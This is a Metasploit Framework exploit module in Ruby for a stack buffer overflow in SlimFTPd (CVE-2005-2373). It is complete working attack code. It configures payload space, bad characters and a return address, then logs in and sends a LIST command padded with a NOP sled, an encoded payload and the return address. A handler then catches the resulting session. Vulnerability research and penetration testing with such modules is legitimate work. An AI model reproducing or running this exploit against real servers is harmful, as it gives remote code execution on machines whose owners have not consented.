SlimFTPd - 'LIST' Concatenation Overflow (Metasploit)

##
# $Id: slimftpd_list_concat.rb 10559 2010-10-05 23:41:17Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Ftp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'SlimFTPd LIST Concatenation Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in the SlimFTPd
				server. The flaw is triggered when a LIST command is
				received with an overly-long argument. This vulnerability
				affects all versions of SlimFTPd prior to 3.16 and was
				discovered by Raphael Rigo.
			},
			'Author'         => [ 'Fairuzan Roslan <riaf [at] mysec.org>' ],
			'License'        => BSD_LICENSE,
			'Version'        => '$Revision: 10559 $',
			'References'     =>
				[
					[ 'CVE', '2005-2373'],
					[ 'OSVDB', '18172'],
					[ 'BID', '14339'],
				],
			'Privileged'     => false,
			'Payload'        =>
				{
					'Space'    => 490,
					'BadChars' => "\x00\x0a\x0d\x20\x5c\x2f",
					'StackAdjustment' => -3500,
				},
			'Platform'       => [ 'win' ],
			'Targets'        =>
				[
					[
						'SlimFTPd Server <= 3.16 Universal',
						{
							'Ret'      => 0x0040057d,
						},
					],
				],
			'DisclosureDate' => 'Jul 21 2005',
			'DefaultTarget' => 0))
	end

	def exploit
		connect_login

		print_status("Trying target #{target.name}...")

		buf          = make_nops(511)
		buf[10, payload.encoded.length] = payload.encoded
		buf[507, 4] = [ target.ret ].pack('V')

		send_cmd( ['XMKD', '41414141'], true );
		send_cmd( ['CWD', '41414141'], true );
		send_cmd( ['LIST', buf], false )

		handler
		disconnect
	end

end